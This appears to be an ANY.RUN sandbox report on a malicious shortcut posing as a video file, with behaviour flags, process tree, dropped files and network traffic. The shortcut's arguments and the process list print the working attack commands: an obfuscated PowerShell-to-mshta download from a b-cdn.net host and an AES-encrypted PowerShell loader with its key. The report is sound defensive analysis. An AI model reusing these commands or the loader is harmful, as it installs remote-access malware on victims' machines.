download:

/Downloads/Videof/Full%20Video%20HD%20(1080p).lnk

Full analysis: https://app.any.run/tasks/3bf9050c-de76-4ef0-b48e-f0be18eb81cc
Verdict: Malicious activity
Analysis date: August 01, 2024, 02:46:04
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=115, ctime=Mon Jan 1 00:00:00 1601, mtime=Mon Jan 1 00:00:00 1601, atime=Mon Jan 1 00:00:00 1601, length=0, window=hidenormalshowminimized
MD5:

AD4B49F8F202071F332028C9102D1A3C

SHA1:

2038E3FB904A416ADB1F7018CF5C338FF84D9D60

SHA256:

CF59CB208E705008914B666AD469C61771D6C174C24B41F9F1EC6D3C27F6DB8F

SSDEEP:

24:8NFZsx/Tff1efVKayWtg+/CWqrDAoSpEQCab/:8YTX1e3ztMfA1iQCab

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6624)

    • Scans artifacts that could help determine the target

      • mshta.exe (PID: 6624)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Drops the executable file immediately after the start

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)
      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6756)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 6756)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)
      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6624)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6624)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 6756)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 6624)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Reads security settings of Internet Explorer

      • Setup.exe (PID: 1640)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Starts itself from another location

      • rustdesk.exe (PID: 3292)

    • Starts application with an unusual extension

      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)

    • Reads the date of Windows installation

      • Setup.exe (PID: 1640)

    • Drops a file with a rarely used extension (PIF)

      • more.com (PID: 6584)

  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 6624)
      • powershell.exe (PID: 6756)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6624)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 6756)

    • Disables trace logs

      • powershell.exe (PID: 6756)

    • Reads the computer name

      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 3292)
      • rustdesk.exe (PID: 2388)
      • StrCmp.exe (PID: 5028)
      • more.com (PID: 6584)

    • Checks supported languages

      • Setup.exe (PID: 1640)
      • rustdesk.exe (PID: 2388)
      • more.com (PID: 6584)
      • rustdesk.exe (PID: 3292)
      • StrCmp.exe (PID: 5028)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6756)

    • The executable file from the user directory is run by the Powershell process

      • Setup.exe (PID: 1640)

    • Create files in a temporary directory

      • Setup.exe (PID: 1640)
      • more.com (PID: 6584)
      • rustdesk.exe (PID: 2388)

    • Process checks computer location settings

      • Setup.exe (PID: 1640)

    • Creates files or folders in the user directory

      • rustdesk.exe (PID: 2388)
      • rustdesk.exe (PID: 3292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, Description, RelativePath, CommandArgs, IconFile, Unicode
FileAttributes: (none)
TargetFileSize: -
IconIndex: 115
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
Description: power
RelativePath: ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments: .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://mato3f.b-cdn.net/town-fil
IconFileName: shell32.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
140
Monitored processes
12
Malicious processes
5
Suspicious processes
2

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs mshta.exe powershell.exe conhost.exe no specs setup.exe rustdesk.exe rustdesk.exe strcmp.exe no specs more.com conhost.exe no specs flagstick.pif no specs

Process information

PID
CMD
Path
Indicators
Parent process
1640"C:\Users\admin\AppData\Local\Temp\Setup.exe" C:\Users\admin\AppData\Local\Temp\Setup.exe
powershell.exe
User:
admin
Company:
Oleg N. Scherbakov
Integrity Level:
MEDIUM
Description:
7z Setup SFX (x86)
Exit code:
0
Version:
1.4.0.1795
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\acgenral.dll
2388C:\Users\admin\AppData\Roaming\sufacak\rustdesk.exeC:\Users\admin\AppData\Roaming\sufacak\rustdesk.exe
rustdesk.exe
User:
admin
Company:
Purslane Ltd
Integrity Level:
MEDIUM
Description:
RustDesk Remote Desktop
Exit code:
1
Version:
1.2.6+44
Modules
Images
c:\users\admin\appdata\roaming\sufacak\rustdesk.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3292"C:\Users\admin\AppData\Local\Temp\rustdesk.exe" C:\Users\admin\AppData\Local\Temp\rustdesk.exe
Setup.exe
User:
admin
Company:
Purslane Ltd
Integrity Level:
MEDIUM
Description:
RustDesk Remote Desktop
Exit code:
0
Version:
1.2.6+44
Modules
Images
c:\users\admin\appdata\local\temp\rustdesk.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
5028C:\Users\admin\AppData\Roaming\sufacak\KDWDQJWEJVCAUOFLTUWTGEHQZ\StrCmp.exeC:\Users\admin\AppData\Roaming\sufacak\KDWDQJWEJVCAUOFLTUWTGEHQZ\StrCmp.exe—rustdesk.exe
User:
admin
Company:
aaa
Integrity Level:
MEDIUM
Version:
1.00
Modules
Images
c:\users\admin\appdata\roaming\sufacak\kdwdqjwejvcauofltuwtgehqz\strcmp.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvbvm60.dll
6448"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://mato3f.b-cdn.net/town-filC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6456\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6584C:\WINDOWS\SysWOW64\more.comC:\Windows\SysWOW64\more.com
rustdesk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
More Utility
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\more.com
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\ulib.dll
6588\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—more.com
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6624"C:\WINDOWS\system32\mshta.exe" https://mato3f.b-cdn.net/town-filC:\Windows\System32\mshta.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\wldp.dll
6756"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function eCTUGj($cXQUpqBL){return -split ($cXQUpqBL -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$UflnSNVU = eCTUGj('29BDBC8E5B48C1C3371ACC1EBC292036B4AC5A464747B3EF937586E4B35787C178D1C3E1802A992866A8D5D837D79668F3AB7673EF21D6987DE814920AA5CAEAB39CD584507C2E84AF7230B6FBF50E6588E6E01376A8107764A8C85BAF2EC6358CB06ACA010F5A9AF8351E2DAF71B59FEE7B2209DA92A6FCD2AEC3057F115BEEAA6D55657724F711317027B57D2CE753B924201810C279487CFE4071D0451DCAD521E72930692ECB7060556348D4B918503BF368316C2D2DAF56110AA936432D9D9BDEC5DF85C33776A32EE21E145469998030E137D818048D48F04459FF34DCE6BC450A9F7BA0306EE7D8ADC5A52F9D7E58055BFB2D436E4D0C088E348F3EBC22B3CFD9CACE60F785C233652015F2A727632D651A0BEF877599CAC846AFD11AF9C506E88A39715024165D4D0B4DB2C244BEAE584422C05B48AF3A614D98BE6C67758D5B515E013A4E03A9D0BABAD32002234FCE1965F4CAACE334DA923E852FE9317A064FAC01DDAA8DAEB3858BF5AE05F902B69D5B15134C7F3127B739C3238D83B2A0765196754FC8EFBB67F3B2E8C9F5350D3022D9F594AFEE0E16D4C2732205D7329B3D6EC379B3EE5A0F8826E15FA8B2EF27DB5F2A803F9F674618526E1E27B48E418A05343B657D941A5462E8C635730B8E794EC0FE3D3E584F3B08C5E0F254B333F1A1A6820673B6B3EB3521C95FDD9C4B656D3B2977E3D2F21750130BD5A2D5F7009FCD1240A10C0109432B8AA68E54FBA0DF1BF88DCEDC7EA9DF0B205CF25D40B06EC99FC20AA1E01531B35FCFBC3204E677718E784954A1B7176BD26BE8165903C15C93D509F50BA2B24DCA4854A444C4A0A98ADC94A0228C38719779169FDC914234C41B704702B5E1E9CEE1828190ECF3BDADB4AC9F34381D0B9FED3DDDE36720DD57B31E8BA4BFE74115AD085B761C71E2FF87FD6DA4931CB616AAE6830A5F04691CB07420164232BDB23D638446562558BD57B4D58CFA8B8A0DEDCD2FD0D98335A2C793A312B4F4FC74954119375B013800148A70B523B2572EBBABDD8716B0CB62556A9E2734249CF44FBB410DC1BD95F9911E4B8A9469B83AD98BAD1DA6A595B95F8A13CE361EB780BD73E40F669514A537F40174C28A6D58CA57E0DDCCF8BF554B4C1C8C9AA914C6666EF3C0E70D36282620294F2FD80992EA04259B9F915563298647491B9ADA14BC3AD14F94D43BBAC443FED363265CF65C76904D68B9214EB30A23F6374111AADB4417D4A02837616129B89C9E2B4988A8D13F5CAD58B68BB3ACA437DB6E8120C25F78270F03C6999EDD390599B471629569AC4689E18708A2F820D1D1467DD7FB18F1ADC81A29FAF59FD1EB17C50C995E8FE2B045C77217D61D9DB244B10F7C746FF84DB0287B497921E61B0CF20D504D8AE8958E712FE7FCFE79F70952E23F72CC265BD027FC6A59D385DCAF558EF3E850ED9B8D04E2F88C251451E02F466CFA95722CE09B51B44D6B8679EAF9973D80ADC7F234CEEC017DEB42BDF320F417760DD30935620357241469C097EF0AB9AB302F9765ADF20B02CD9B554F790623EE0D3384AED0F86E6B6E67AA35A8CD2EBE7FE0A4BFE78EA61B00FF45D6CD8B377B0C5C1E283E0A815A48F541B5AC8AE5975F3642F527766A57102E409844FE5C5A32BB0719BF21A8B516A8B343E399E3CB00E2ECAEB88569A01F47B8125FEF1634D9FCA304A31ECBA3F23AA1FA481EDDD5FDB8EA994E0FBD269DB6D711E346335535E76BCDD0908418E65AACA7EE49B4F2E3C392F747CAF57BDCACE275DC604F05E122003ACB8E36E2C66E45E8162F155E963764DB2C0FD4152235890D225D61B5E773DE06C47A46A1309DE76D83A38ABE1D003E78EB899992CDAD7E6F538E70D22E83708DA276C246B2DBA5D5FCD9CEA209540B54951E1A738403195E48BB1C34C17D424E2715D82856D7D10E34E44DF06752D09D2E4A35639088253DE4BEC3D29E0CD36F25C121067E2B379D0E45');$yAvcK = [System.Security.Cryptography.Aes]::Create();$yAvcK.Key = eCTUGj('6444446170717150646656774D674D68');$yAvcK.IV = New-Object byte[] 16;$KBCJJTvg = $yAvcK.CreateDecryptor();$vpnhdgKlu = $KBCJJTvg.TransformFinalBlock($UflnSNVU, 0, $UflnSNVU.Length);$JmxylpWNv = [System.Text.Encoding]::Utf8.GetString($vpnhdgKlu);$KBCJJTvg.Dispose();& $JmxylpWNv.Substring(0,3) $JmxylpWNv.Substring(3)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
26 953
Read events
26 912
Write events
41
Delete events
0

Modification events

(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6624) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6756) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(6756) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(6756) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
39
Suspicious files
16
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
6448powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VY56A0TIQ4CCZ1IX1919.tempbinary
MD5:B3157AFF8E0751D3CE0F13E8F65153F7
SHA256:A003D0A3BB0A5F40B0FA3F46203D41F9A19F1112AB40727483E325F5CFC8F0A6
6448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4ppb51dn.iqo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6448powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6d8ac520988b4335.customDestinations-msbinary
MD5:B3157AFF8E0751D3CE0F13E8F65153F7
SHA256:A003D0A3BB0A5F40B0FA3F46203D41F9A19F1112AB40727483E325F5CFC8F0A6
6756powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5ekdlfqc.4rn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6756powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_up3spnm1.hu4.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6756powershell.exeC:\Users\admin\AppData\Local\Temp\plugins\lang-1058.dllexecutable
MD5:41C75E831A5571C3F72287794391A0E6
SHA256:B3AD99AFDAEE3B9365E7A3FFCC44C2761E22A4F92DFF5E5EFDC52F6B08EA0105
6756powershell.exeC:\Users\admin\AppData\Local\Temp\libvlc.dllexecutable
MD5:96214B94B796BFFC48D63289854AE5A2
SHA256:528C416CFB4813EE5F1DA52743EF4ADB20043171230098B27E25D1DD90E3F288
6756powershell.exeC:\Users\admin\AppData\Local\Temp\libvlccore.dllexecutable
MD5:E25413BB41C2F239FFDD3569F76E74B0
SHA256:9126D9ABF91585456000FFFD9336478E91B9EA07ED2A25806A4E2E0437F96D29
6448powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:EC8CD1E342B346DA0116143D12E82221
SHA256:01E18F63B437898A2D0618B783546B04094D9529C13584F2C9DAB2A82F0C0882
6448powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ozswz3g1.url.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
45
DNS requests
20
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6624
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D
unknown
—
—
whitelisted
6624
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
—
—
whitelisted
6624
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQCb80pEPlZ04x2fAu4YLy1O
unknown
—
—
whitelisted
4544
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
7124
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
7164
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4936
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1984
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
6624
mshta.exe
138.199.37.232:443
mato3f.b-cdn.net
Datacamp Limited
DE
unknown
6624
mshta.exe
104.18.38.233:80
ocsp.comodoca.com
CLOUDFLARENET
—
shared
4936
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6756
powershell.exe
169.150.247.34:443
matozip1.b-cdn.net
—
GB
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 51.124.78.146
  • 40.127.240.158
whitelisted
google.com
  • 172.217.16.206
whitelisted
mato3f.b-cdn.net
  • 138.199.37.232
whitelisted
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.usertrust.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.sectigo.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
matozip1.b-cdn.net
  • 169.150.247.34
whitelisted
www.bing.com
  • 104.126.37.145
  • 104.126.37.139
  • 104.126.37.128
  • 104.126.37.131
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
client.wns.windows.com
  • 40.115.3.253
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/Downloads/Videof/Full%20Video%20HD%20(1080p).lnk